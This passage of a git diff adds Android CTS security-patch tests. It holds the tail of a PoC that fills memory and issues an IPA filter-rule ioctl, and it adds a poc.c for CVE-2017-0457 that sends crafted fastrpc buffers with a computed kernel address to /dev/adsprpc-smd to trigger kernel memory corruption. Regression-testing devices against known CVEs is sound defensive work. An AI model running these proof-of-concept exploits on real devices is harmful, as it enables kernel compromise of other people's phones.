+ *(uint32_t *)0x20002af8 = (uint32_t)0x8;
+ *(uint32_t *)0x20002afc = (uint32_t)0x3;
+ *(uint32_t *)0x20002b00 = (uint32_t)0x8;
+ *(uint32_t *)0x20002b04 = (uint32_t)0x7;
+ *(uint32_t *)0x20002b08 = (uint32_t)0x7f;
+ *(uint32_t *)0x20002b0c = (uint32_t)0x6;
+ *(uint32_t *)0x20002b10 = (uint32_t)0x800;
+ *(uint32_t *)0x20002b14 = (uint32_t)0x24000000;
+ *(uint32_t *)0x20002b18 = (uint32_t)0x80000001;
+ *(uint32_t *)0x20002b1c = (uint32_t)0x1;
+ *(uint16_t *)0x20002b20 = (uint16_t)0x2;
+ *(uint8_t *)0x20002b22 = (uint8_t)0x80000000;
+ *(uint8_t *)0x20002b23 = (uint8_t)0x9;
+ *(uint8_t *)0x20002b24 = (uint8_t)0x7f;
+ *(uint8_t *)0x20002b25 = (uint8_t)0x9aa2;
+ *(uint8_t *)0x20002b26 = (uint8_t)0x80000001;
+ *(uint8_t *)0x20002b28 = (uint8_t)0x9;
+ *(uint16_t *)0x20002b2a = (uint16_t)0x7;
+ *(uint16_t *)0x20002b2c = (uint16_t)0x1;
+ *(uint8_t *)0x20002b2e = (uint8_t)0x7;
+ *(uint16_t *)0x20002b30 = (uint16_t)0x4;
+ *(uint16_t *)0x20002b32 = (uint16_t)0x9;
+ *(uint8_t *)0x20002b34 = (uint8_t)0x3;
+ *(uint8_t *)0x20002b38 = (uint8_t)0x80000000;
+ *(uint32_t *)0x20002b3c = (uint32_t)0xbe;
+ *(uint32_t *)0x20002b40 = (uint32_t)0x10001;
+ *(uint8_t *)0x20002b44 = (uint8_t)0x8;
+ *(uint32_t *)0x20002b48 = (uint32_t)0x0;
+ *(uint32_t *)0x20002b4c = (uint32_t)0x6;
+ *(uint8_t *)0x20002b50 = (uint8_t)0xe83c;
+ *(uint8_t *)0x20002b51 = (uint8_t)0x9dec;
+ *(uint8_t *)0x20002b52 = (uint8_t)0x100000000000000;
+ *(uint32_t *)0x20002b54 = (uint32_t)0x0;
+ *(uint8_t *)0x20002b58 = (uint8_t)0x4;
+ *(uint8_t *)0x20002b5a = (uint8_t)0x10001;
+ *(uint16_t *)0x20002b5c = (uint16_t)0x14000000000000;
+ *(uint8_t *)0x20002b5e = (uint8_t)0x6;
+ *(uint8_t *)0x20002b60 = (uint8_t)0x9000000;
+ *(uint32_t *)0x20002b64 = (uint32_t)0x100000000;
+ *(uint8_t *)0x20002b68 = (uint8_t)0x0;
+ *(uint8_t *)0x20002b6c = (uint8_t)0x6;
+ *(uint32_t *)0x20002b70 = (uint32_t)0x6;
+ *(uint32_t *)0x20002b74 = (uint32_t)0x80000001;
+ *(uint8_t *)0x20002b78 = (uint8_t)0x10001;
+ *(uint32_t *)0x20002b7c = (uint32_t)0x2;
+ *(uint32_t *)0x20002b80 = (uint32_t)0x101;
+ *(uint8_t *)0x20002b84 = (uint8_t)0x115;
+ *(uint8_t *)0x20002b85 = (uint8_t)0x5;
+ memcpy((void *)0x20002b86,
+ "\x10\x72\x8f\xb9\x7d\xe9\x33\x19\x3d\x81\xc1\x54\x31\x91\x1e\xac",
+ 16);
+ memcpy((void *)0x20002b96,
+ "\xcd\x33\x9b\x13\xdc\x4b\xfe\x81\xbf\x15\xaa\x54\xe6\x8f\x9c\xad",
+ 16);
+ *(uint8_t *)0x20002ba6 = (uint8_t)0x1;
+ memcpy((void *)0x20002ba7,
+ "\x08\xf8\x09\x5e\x9c\x9a\xc5\x02\xaa\xc8\xf0\x53\x55\xb3\x72\x3b",
+ 16);
+ memcpy((void *)0x20002bb7,
+ "\x32\xe2\x81\xed\x29\x5a\xbb\xfb\xe3\x98\x81\xa5\x00\x09\x5b\x0b",
+ 16);
+ *(uint8_t *)0x20002bc7 = (uint8_t)0x3ff;
+ *(uint8_t *)0x20002bc8 = (uint8_t)0x10000;
+ *(uint32_t *)0x20002bcc = (uint32_t)0x68;
+ *(uint32_t *)0x20002bd0 = (uint32_t)0x9;
+ *(uint8_t *)0x20002bd4 = (uint8_t)0x8;
+ *(uint32_t *)0x20002bd8 = (uint32_t)0x40;
+ *(uint8_t *)0x20002bdc = (uint8_t)0x9;
+ *(uint8_t *)0x20002be0 = (uint8_t)0x7fff;
+ *(uint32_t *)0x20002be4 = (uint32_t)0x101;
+ *(uint32_t *)0x20002be8 = (uint32_t)0x5;
+ *(uint8_t *)0x20002bec = (uint8_t)0xae1;
+ *(uint8_t *)0x20002bed = (uint8_t)0x5;
+ *(uint32_t *)0x20002bf0 = (uint32_t)0x1;
+ *(uint32_t *)0x20002bf4 = (uint32_t)0x8;
+ *(uint32_t *)0x20002bf8 = (uint32_t)0xc7;
+ *(uint16_t *)0x20002bfc = (uint16_t)0x6;
+ *(uint16_t *)0x20002bfe = (uint16_t)0x8;
+ *(uint16_t *)0x20002c00 = (uint16_t)0x200;
+ *(uint16_t *)0x20002c02 = (uint16_t)0x7;
+ *(uint8_t *)0x20002c04 = (uint8_t)0x7fff;
+ *(uint8_t *)0x20002c05 = (uint8_t)0x7;
+ *(uint8_t *)0x20002c06 = (uint8_t)0x6;
+ *(uint8_t *)0x20002c07 = (uint8_t)0xe265;
+ *(uint32_t *)0x20002c08 = (uint32_t)0x7fff;
+ *(uint16_t *)0x20002c0c = (uint16_t)0x8;
+ *(uint16_t *)0x20002c0e = (uint16_t)0x0;
+ *(uint32_t *)0x20002c10 = (uint32_t)0x87;
+ *(uint32_t *)0x20002c14 = (uint32_t)0x1;
+ memcpy((void *)0x20002c18, "\xef\x8f\x03\xa7\x08\xdc", 6);
+ memcpy((void *)0x20002c1e, "\x7a\x29\x68\x4b\x0c\x99", 6);
+ memcpy((void *)0x20002c24, "\x51\x62\x84\x9a\xfc\xd6", 6);
+ memcpy((void *)0x20002c2a, "\x53\x67\x6b\x3c\x42\x3c", 6);
+ *(uint16_t *)0x20002c30 = (uint16_t)0x6;
+ *(uint8_t *)0x20002c32 = (uint8_t)0x1;
+ *(uint32_t *)0x20002c34 = (uint32_t)0x1;
+ *(uint8_t *)0x20002c38 = (uint8_t)0x1ff;
+ *(uint32_t *)0x20002c3c = (uint32_t)0x8360;
+ *(uint32_t *)0x20002c40 = (uint32_t)0x81;
+ *(uint32_t *)0x20002c44 = (uint32_t)0x4;
+ *(uint32_t *)0x20002c48 = (uint32_t)0x80;
+ *(uint32_t *)0x20002c4c = (uint32_t)0x3;
+ *(uint32_t *)0x20002c50 = (uint32_t)0x1f;
+ *(uint32_t *)0x20002c54 = (uint32_t)0x100000000;
+ *(uint32_t *)0x20002c58 = (uint32_t)0x400;
+ *(uint32_t *)0x20002c5c = (uint32_t)0x7;
+ *(uint32_t *)0x20002c60 = (uint32_t)0x7b;
+ *(uint32_t *)0x20002c64 = (uint32_t)0xe6ae;
+ *(uint32_t *)0x20002c68 = (uint32_t)0x21;
+ *(uint32_t *)0x20002c6c = (uint32_t)0x0;
+ *(uint32_t *)0x20002c70 = (uint32_t)0x6;
+ *(uint32_t *)0x20002c74 = (uint32_t)0x8;
+ *(uint32_t *)0x20002c78 = (uint32_t)0x8;
+ *(uint16_t *)0x20002c7c = (uint16_t)0x6;
+ *(uint8_t *)0x20002c7e = (uint8_t)0xff;
+ *(uint8_t *)0x20002c7f = (uint8_t)0xffffffffffffeb4d;
+ *(uint8_t *)0x20002c80 = (uint8_t)0x0;
+ *(uint8_t *)0x20002c81 = (uint8_t)0xa46;
+ *(uint8_t *)0x20002c82 = (uint8_t)0x6;
+ *(uint8_t *)0x20002c84 = (uint8_t)0x101;
+ *(uint16_t *)0x20002c86 = (uint16_t)0x6;
+ *(uint16_t *)0x20002c88 = (uint16_t)0x3;
+ *(uint8_t *)0x20002c8a = (uint8_t)0x0;
+ *(uint16_t *)0x20002c8c = (uint16_t)0xed;
+ *(uint16_t *)0x20002c8e = (uint16_t)0x9;
+ *(uint8_t *)0x20002c90 = (uint8_t)0x6;
+ *(uint8_t *)0x20002c94 = (uint8_t)0x5;
+ *(uint32_t *)0x20002c98 = (uint32_t)0x6;
+ *(uint32_t *)0x20002c9c = (uint32_t)0x6;
+ *(uint8_t *)0x20002ca0 = (uint8_t)0x3;
+ *(uint32_t *)0x20002ca4 = (uint32_t)0xff;
+ *(uint32_t *)0x20002ca8 = (uint32_t)0x80000000;
+ *(uint8_t *)0x20002cac = (uint8_t)0x40;
+ *(uint8_t *)0x20002cad = (uint8_t)0x200;
+ *(uint8_t *)0x20002cae = (uint8_t)0x9;
+ *(uint32_t *)0x20002cb0 = (uint32_t)0x1;
+ *(uint8_t *)0x20002cb4 = (uint8_t)0x2;
+ *(uint8_t *)0x20002cb6 = (uint8_t)0x2;
+ *(uint16_t *)0x20002cb8 = (uint16_t)0xda9c;
+ *(uint8_t *)0x20002cba = (uint8_t)0x2;
+ *(uint8_t *)0x20002cbc = (uint8_t)0xe8b;
+ *(uint32_t *)0x20002cc0 = (uint32_t)0x9;
+ *(uint8_t *)0x20002cc4 = (uint8_t)0x7fffffff;
+ *(uint8_t *)0x20002cc8 = (uint8_t)0x68f;
+ *(uint32_t *)0x20002ccc = (uint32_t)0xf32;
+ *(uint32_t *)0x20002cd0 = (uint32_t)0x6;
+ *(uint8_t *)0x20002cd4 = (uint8_t)0x4;
+ *(uint32_t *)0x20002cd8 = (uint32_t)0x7;
+ *(uint32_t *)0x20002cdc = (uint32_t)0xb9;
+ *(uint8_t *)0x20002ce0 = (uint8_t)0xf6d;
+ *(uint8_t *)0x20002ce1 = (uint8_t)0x3;
+ memcpy((void *)0x20002ce2,
+ "\x09\xb3\xdd\xd0\xb5\xb4\xa8\x63\xe2\xb4\x86\x02\xef\x48\x4e\xd1",
+ 16);
+ memcpy((void *)0x20002cf2,
+ "\x32\x86\x0e\xe4\x37\x55\x8e\xb0\xc7\x25\x05\xa2\x4a\xe1\x96\x42",
+ 16);
+ *(uint8_t *)0x20002d02 = (uint8_t)0xffff;
+ memcpy((void *)0x20002d03,
+ "\xa6\x9d\x8b\x67\xa6\x13\x60\x4f\x9a\x76\x00\x0c\xb3\x91\xae\x91",
+ 16);
+ memcpy((void *)0x20002d13,
+ "\xa3\x7a\xc4\xce\x72\x04\x46\x6d\xfc\x74\x80\x4d\x9f\xca\x67\x16",
+ 16);
+ *(uint8_t *)0x20002d23 = (uint8_t)0x3;
+ *(uint8_t *)0x20002d24 = (uint8_t)0x6;
+ *(uint32_t *)0x20002d28 = (uint32_t)0x100000000;
+ *(uint32_t *)0x20002d2c = (uint32_t)0x100000001;
+ *(uint8_t *)0x20002d30 = (uint8_t)0x100000001;
+ *(uint32_t *)0x20002d34 = (uint32_t)0x401;
+ *(uint8_t *)0x20002d38 = (uint8_t)0x8;
+ *(uint8_t *)0x20002d3c = (uint8_t)0x5;
+ *(uint32_t *)0x20002d40 = (uint32_t)0x1;
+ *(uint32_t *)0x20002d44 = (uint32_t)0x5;
+ *(uint8_t *)0x20002d48 = (uint8_t)0x7fffffff;
+ *(uint8_t *)0x20002d49 = (uint8_t)0x80;
+ *(uint32_t *)0x20002d4c = (uint32_t)0x0;
+ *(uint32_t *)0x20002d50 = (uint32_t)0xff;
+ *(uint32_t *)0x20002d54 = (uint32_t)0x4;
+ *(uint16_t *)0x20002d58 = (uint16_t)0x4;
+ *(uint16_t *)0x20002d5a = (uint16_t)0x4;
+ *(uint16_t *)0x20002d5c = (uint16_t)0x1;
+ *(uint16_t *)0x20002d5e = (uint16_t)0x3d;
+ *(uint8_t *)0x20002d60 = (uint8_t)0x7fffffff;
+ *(uint8_t *)0x20002d61 = (uint8_t)0x40;
+ *(uint8_t *)0x20002d62 = (uint8_t)0x8;
+ *(uint8_t *)0x20002d63 = (uint8_t)0x2ff;
+ *(uint32_t *)0x20002d64 = (uint32_t)0x3;
+ *(uint16_t *)0x20002d68 = (uint16_t)0x5;
+ *(uint16_t *)0x20002d6a = (uint16_t)0x0;
+ *(uint32_t *)0x20002d6c = (uint32_t)0x2;
+ *(uint32_t *)0x20002d70 = (uint32_t)0x81;
+ memcpy((void *)0x20002d74, "\xe5\xf2\x2c\xb3\xfa\x1b", 6);
+ memcpy((void *)0x20002d7a, "\xe7\x1f\xae\x9f\x54\x33", 6);
+ memcpy((void *)0x20002d80, "\x6a\xfc\x62\x48\x89\x90", 6);
+ memcpy((void *)0x20002d86, "\xbd\x61\x79\x87\xe4\x24", 6);
+ *(uint16_t *)0x20002d8c = (uint16_t)0xfffffffffffffffa;
+ *(uint8_t *)0x20002d8e = (uint8_t)0x2;
+ *(uint32_t *)0x20002d90 = (uint32_t)0x8;
+ *(uint8_t *)0x20002d94 = (uint8_t)0x1;
+ *(uint32_t *)0x20002d98 = (uint32_t)0xffffffffffff7fff;
+ *(uint32_t *)0x20002d9c = (uint32_t)0x401;
+ *(uint32_t *)0x20002da0 = (uint32_t)0x9;
+ *(uint32_t *)0x20002da4 = (uint32_t)0x2;
+ *(uint32_t *)0x20002da8 = (uint32_t)0x4;
+ *(uint32_t *)0x20002dac = (uint32_t)0x69;
+ *(uint32_t *)0x20002db0 = (uint32_t)0x8;
+ *(uint32_t *)0x20002db4 = (uint32_t)0x6;
+ *(uint32_t *)0x20002db8 = (uint32_t)0x7fff;
+ *(uint32_t *)0x20002dbc = (uint32_t)0x4;
+ *(uint32_t *)0x20002dc0 = (uint32_t)0x7fffffff;
+ *(uint32_t *)0x20002dc4 = (uint32_t)0x80;
+ *(uint32_t *)0x20002dc8 = (uint32_t)0x100;
+ *(uint32_t *)0x20002dcc = (uint32_t)0x2;
+ *(uint32_t *)0x20002dd0 = (uint32_t)0x7;
+ *(uint32_t *)0x20002dd4 = (uint32_t)0x4;
+ *(uint16_t *)0x20002dd8 = (uint16_t)0x6;
+ *(uint8_t *)0x20002dda = (uint8_t)0x10000;
+ *(uint8_t *)0x20002ddb = (uint8_t)0x0;
+ *(uint8_t *)0x20002ddc = (uint8_t)0xff;
+ *(uint8_t *)0x20002ddd = (uint8_t)0x9;
+ *(uint8_t *)0x20002dde = (uint8_t)0x10001;
+ *(uint8_t *)0x20002de0 = (uint8_t)0x8;
+ *(uint16_t *)0x20002de2 = (uint16_t)0x100;
+ *(uint16_t *)0x20002de4 = (uint16_t)0xffffffff80000001;
+ *(uint8_t *)0x20002de6 = (uint8_t)0x8000;
+ *(uint16_t *)0x20002de8 = (uint16_t)0x101;
+ *(uint16_t *)0x20002dea = (uint16_t)0x10001;
+ *(uint8_t *)0x20002dec = (uint8_t)0x101;
+ *(uint8_t *)0x20002df0 = (uint8_t)0x20000000000000;
+ *(uint32_t *)0x20002df4 = (uint32_t)0xe376;
+ *(uint32_t *)0x20002df8 = (uint32_t)0x9;
+ *(uint8_t *)0x20002dfc = (uint8_t)0x80000001;
+ *(uint32_t *)0x20002e00 = (uint32_t)0x4d6;
+ *(uint32_t *)0x20002e04 = (uint32_t)0x9;
+ *(uint8_t *)0x20002e08 = (uint8_t)0x1ff;
+ *(uint8_t *)0x20002e09 = (uint8_t)0x4;
+ *(uint8_t *)0x20002e0a = (uint8_t)0x0;
+ *(uint32_t *)0x20002e0c = (uint32_t)0xa0000000;
+ *(uint8_t *)0x20002e10 = (uint8_t)0x100000001;
+ *(uint8_t *)0x20002e12 = (uint8_t)0xa9db;
+ *(uint16_t *)0x20002e14 = (uint16_t)0x2;
+ *(uint8_t *)0x20002e16 = (uint8_t)0x9;
+ *(uint8_t *)0x20002e18 = (uint8_t)0x80;
+ *(uint32_t *)0x20002e1c = (uint32_t)0x6;
+ *(uint8_t *)0x20002e20 = (uint8_t)0x6;
+ *(uint8_t *)0x20002e24 = (uint8_t)0x9;
+ *(uint32_t *)0x20002e28 = (uint32_t)0x7c07;
+ *(uint32_t *)0x20002e2c = (uint32_t)0x80000000;
+ *(uint8_t *)0x20002e30 = (uint8_t)0x5;
+ *(uint32_t *)0x20002e34 = (uint32_t)0xd473;
+ *(uint32_t *)0x20002e38 = (uint32_t)0x7;
+ *(uint8_t *)0x20002e3c = (uint8_t)0xfffffffffffffff9;
+ *(uint8_t *)0x20002e3d = (uint8_t)0x7f;
+ memcpy((void *)0x20002e3e,
+ "\xaf\x0c\xe8\xf6\xb5\xd9\x88\x44\xa7\xbd\x6f\xf3\x39\x73\x14\xf4",
+ 16);
+ memcpy((void *)0x20002e4e,
+ "\xd5\x09\x71\xb6\xe9\x72\x21\x95\xd5\x7c\xb1\x05\x94\x0d\xca\xb8",
+ 16);
+ *(uint8_t *)0x20002e5e = (uint8_t)0xbc1c;
+ memcpy((void *)0x20002e5f,
+ "\x75\xe0\x8a\xb8\x09\xa5\x46\x75\xcd\x3f\xb3\x5c\x7c\x53\xac\x15",
+ 16);
+ memcpy((void *)0x20002e6f,
+ "\xb4\xa2\x0c\x99\x8f\x06\x34\x66\x53\x2b\xe0\x75\x21\x86\x0f\xdb",
+ 16);
+ *(uint8_t *)0x20002e7f = (uint8_t)0x88;
+ *(uint8_t *)0x20002e80 = (uint8_t)0x1;
+ *(uint32_t *)0x20002e84 = (uint32_t)0xa1;
+ *(uint32_t *)0x20002e88 = (uint32_t)0x200;
+ *(uint8_t *)0x20002e8c = (uint8_t)0x20;
+ *(uint32_t *)0x20002e90 = (uint32_t)0x6;
+ *(uint8_t *)0x20002e94 = (uint8_t)0xea;
+ *(uint8_t *)0x20002e98 = (uint8_t)0x10000;
+ *(uint32_t *)0x20002e9c = (uint32_t)0x6;
+ *(uint32_t *)0x20002ea0 = (uint32_t)0x7d;
+ *(uint8_t *)0x20002ea4 = (uint8_t)0x0;
+ *(uint8_t *)0x20002ea5 = (uint8_t)0x8001;
+ *(uint32_t *)0x20002ea8 = (uint32_t)0x0;
+ *(uint32_t *)0x20002eac = (uint32_t)0x7fffffff;
+ *(uint32_t *)0x20002eb0 = (uint32_t)0x204fec542d605987;
+ *(uint16_t *)0x20002eb4 = (uint16_t)0x6;
+ *(uint16_t *)0x20002eb6 = (uint16_t)0xffffffffffff8000;
+ *(uint16_t *)0x20002eb8 = (uint16_t)0x3ff;
+ *(uint16_t *)0x20002eba = (uint16_t)0x8000;
+ *(uint8_t *)0x20002ebc = (uint8_t)0x4;
+ *(uint8_t *)0x20002ebd = (uint8_t)0x80000001;
+ *(uint8_t *)0x20002ebe = (uint8_t)0x0;
+ *(uint8_t *)0x20002ebf = (uint8_t)0xfffffffffffffff9;
+ *(uint32_t *)0x20002ec0 = (uint32_t)0x200;
+ *(uint16_t *)0x20002ec4 = (uint16_t)0x4;
+ *(uint16_t *)0x20002ec6 = (uint16_t)0x4;
+ *(uint32_t *)0x20002ec8 = (uint32_t)0x4;
+ *(uint32_t *)0x20002ecc = (uint32_t)0xffffffff80000000;
+ memcpy((void *)0x20002ed0, "\xcc\x25\x2d\xec\x43\xe0", 6);
+ memcpy((void *)0x20002ed6, "\x85\x93\x52\x18\xcc\x56", 6);
+ memcpy((void *)0x20002edc, "\xf2\xb6\x86\x04\x46\xec", 6);
+ memcpy((void *)0x20002ee2, "\x70\x06\xb1\xfd\x68\xa5", 6);
+ *(uint16_t *)0x20002ee8 = (uint16_t)0x1000;
+ *(uint8_t *)0x20002eea = (uint8_t)0x0;
+ *(uint32_t *)0x20002eec = (uint32_t)0xbbd8;
+ *(uint8_t *)0x20002ef0 = (uint8_t)0x3;
+ *(uint32_t *)0x20002ef4 = (uint32_t)0x8;
+ *(uint32_t *)0x20002ef8 = (uint32_t)0x100;
+ *(uint32_t *)0x20002efc = (uint32_t)0x9;
+ *(uint32_t *)0x20002f00 = (uint32_t)0xfffffffffffffab9;
+ *(uint32_t *)0x20002f04 = (uint32_t)0x9;
+ *(uint32_t *)0x20002f08 = (uint32_t)0x1;
+ *(uint32_t *)0x20002f0c = (uint32_t)0xe4d1;
+ *(uint32_t *)0x20002f10 = (uint32_t)0x4;
+ *(uint32_t *)0x20002f14 = (uint32_t)0x3;
+ *(uint32_t *)0x20002f18 = (uint32_t)0x87;
+ *(uint32_t *)0x20002f1c = (uint32_t)0x8000;
+ *(uint32_t *)0x20002f20 = (uint32_t)0x7;
+ *(uint32_t *)0x20002f24 = (uint32_t)0x10001;
+ *(uint32_t *)0x20002f28 = (uint32_t)0x932d;
+ *(uint32_t *)0x20002f2c = (uint32_t)0x3;
+ *(uint32_t *)0x20002f30 = (uint32_t)0xffff;
+ *(uint16_t *)0x20002f34 = (uint16_t)0x3ff;
+ *(uint8_t *)0x20002f36 = (uint8_t)0x400;
+ *(uint8_t *)0x20002f37 = (uint8_t)0x6;
+ *(uint8_t *)0x20002f38 = (uint8_t)0x2;
+ *(uint8_t *)0x20002f39 = (uint8_t)0x1;
+ *(uint8_t *)0x20002f3a = (uint8_t)0x3;
+ *(uint8_t *)0x20002f3c = (uint8_t)0xffffffffffffff75;
+ *(uint16_t *)0x20002f3e = (uint16_t)0x20;
+ *(uint16_t *)0x20002f40 = (uint16_t)0x4;
+ *(uint8_t *)0x20002f42 = (uint8_t)0x2;
+ *(uint16_t *)0x20002f44 = (uint16_t)0x10001;
+ *(uint16_t *)0x20002f46 = (uint16_t)0x3;
+ *(uint8_t *)0x20002f48 = (uint8_t)0xb004;
+ *(uint8_t *)0x20002f4c = (uint8_t)0x5;
+ *(uint32_t *)0x20002f50 = (uint32_t)0x3f;
+ *(uint32_t *)0x20002f54 = (uint32_t)0x6;
+ *(uint8_t *)0x20002f58 = (uint8_t)0x7f;
+ *(uint32_t *)0x20002f5c = (uint32_t)0x5;
+ *(uint32_t *)0x20002f60 = (uint32_t)0x4;
+ *(uint8_t *)0x20002f64 = (uint8_t)0x5;
+ *(uint8_t *)0x20002f65 = (uint8_t)0x0;
+ *(uint8_t *)0x20002f66 = (uint8_t)0x2;
+ *(uint32_t *)0x20002f68 = (uint32_t)0x7;
+ *(uint8_t *)0x20002f6c = (uint8_t)0x80;
+ *(uint8_t *)0x20002f6e = (uint8_t)0x80;
+ *(uint16_t *)0x20002f70 = (uint16_t)0x1;
+ *(uint8_t *)0x20002f72 = (uint8_t)0xffffffff;
+ *(uint8_t *)0x20002f74 = (uint8_t)0x3259;
+ *(uint32_t *)0x20002f78 = (uint32_t)0x0;
+ *(uint8_t *)0x20002f7c = (uint8_t)0x5;
+ *(uint8_t *)0x20002f80 = (uint8_t)0x10001;
+ *(uint32_t *)0x20002f84 = (uint32_t)0x0;
+ *(uint32_t *)0x20002f88 = (uint32_t)0x10000;
+ *(uint8_t *)0x20002f8c = (uint8_t)0xffff;
+ *(uint32_t *)0x20002f90 = (uint32_t)0xffff;
+ *(uint32_t *)0x20002f94 = (uint32_t)0x7;
+ *(uint8_t *)0x20002f98 = (uint8_t)0x3;
+ *(uint8_t *)0x20002f99 = (uint8_t)0x7ff;
+ memcpy((void *)0x20002f9a,
+ "\x28\x3b\x48\x4b\x92\xd4\xf6\xbf\x35\x1b\x31\x99\x3a\xa1\x6c\xa2",
+ 16);
+ memcpy((void *)0x20002faa,
+ "\x7e\xeb\x6e\x3e\x8f\x30\x07\x0b\xe9\xfc\x36\xe6\x56\x8f\xd7\x0f",
+ 16);
+ *(uint8_t *)0x20002fba = (uint8_t)0xfffffffffffffbff;
+ memcpy((void *)0x20002fbb,
+ "\x30\x75\xd6\x40\x91\xbf\xe5\xe5\x8c\xd1\x46\x0e\x9d\x44\xc2\xa1",
+ 16);
+ memcpy((void *)0x20002fcb,
+ "\x78\xf4\x00\xa7\xbe\x73\xdf\x2e\xb7\x4d\x97\x77\x77\xdd\xb4\x2e",
+ 16);
+ *(uint8_t *)0x20002fdb = (uint8_t)0x6;
+ *(uint8_t *)0x20002fdc = (uint8_t)0x101;
+ *(uint32_t *)0x20002fe0 = (uint32_t)0xffff;
+ *(uint32_t *)0x20002fe4 = (uint32_t)0xfffffffffffffffe;
+ *(uint8_t *)0x20002fe8 = (uint8_t)0x9;
+ *(uint32_t *)0x20002fec = (uint32_t)0x3;
+ *(uint8_t *)0x20002ff0 = (uint8_t)0x7f;
+ *(uint8_t *)0x20002ff4 = (uint8_t)0x4;
+ *(uint32_t *)0x20002ff8 = (uint32_t)0x0;
+ *(uint32_t *)0x20002ffc = (uint32_t)0x0;
+
+ ioctl(fd, IPA_IOC_ADD_FLT_RULE, 0x20002924ul);
+
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0457/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0457/Android.mk
new file mode 100644
index 0000000..37b625f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0457/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0457
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0457/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0457/poc.c
new file mode 100644
index 0000000..4fbacca
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0457/poc.c
@@ -0,0 +1,94 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+struct remote_buf {
+ void *pv; /* buffer pointer */
+ ssize_t len; /* length of buffer */
+};
+
+struct fastrpc_ioctl_invoke {
+ uint32_t handle; /* remote handle */
+ uint32_t sc; /* scalars describing the data */
+ struct remote_buf *pra; /* remote arguments list */
+};
+
+struct fastrpc_ioctl_invoke_fd {
+ struct fastrpc_ioctl_invoke inv;
+ int *fds; /* fd list */
+};
+
+/* Retrives number of input buffers from the scalars parameter */
+#define REMOTE_SCALARS_INBUFS(sc) (((sc) >> 16) & 0x0ff)
+
+/* Retrives number of output buffers from the scalars parameter */
+#define REMOTE_SCALARS_OUTBUFS(sc) (((sc) >> 8) & 0x0ff)
+
+int main() {
+ int numbuf, fd;
+
+ mmap((void *)0x20000000ul, 0x705000ul, 0x3ul, 0x32ul,
+ (int)0xffffffffffffffffl, 0x0ul);
+ fd = open("/dev/adsprpc-smd", 0x0ul, 0);
+
+ mmap((void *)0x20705000ul, 0x1000ul, 0x3ul, 0x32ul, (int)0xffffffffffffffffl,
+ 0x0ul);
+ mmap((void *)0x20706000ul, 0x1000ul, 0x3ul, 0x32ul, (int)0xffffffffffffffffl,
+ 0x0ul);
+ mmap((void *)0x20707000ul, 0x1000ul, 0x3ul, 0x32ul, (int)0xffffffffffffffffl,
+ 0x0ul);
+ mmap((void *)0x10000, 0x100000ul, 0x3ul, 0x32ul, (int)0xffffffffffffffffl,
+ 0x0ul);
+
+ struct fastrpc_ioctl_invoke invoke_param;
+ struct remote_buf *buf;
+
+ buf = (struct remote_buf *)0x20705000;
+
+ invoke_param.handle = 5;
+ invoke_param.sc = (uint32_t)0xffffff7f;
+ invoke_param.pra = buf;
+
+ numbuf = REMOTE_SCALARS_INBUFS(invoke_param.sc) +
+ REMOTE_SCALARS_OUTBUFS(invoke_param.sc);
+
+ size_t ptr = (size_t)(0xffffff800bde0160 + 0x10000 - 0xffffffc000000000);
+
+ buf[0].pv = (void *)0x10000;
+ buf[0].len = 0x1;
+
+ ptr = ptr & 0xffffffff000fffff;
+
+ buf[508].pv = 0;
+ buf[508].len = ptr;
+ buf[509].pv = (void *)0x1ffff;
+ buf[509].len = 0;
+
+ syscall(__NR_ioctl, fd, 0xc0105201ul, &invoke_param, 0, 0, 0);
+
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0460/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0460/Android.mk
new file mode 100644
index 0000000..5ddb578
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0460/Android.mk
@@ -0,0 +1,36 @@
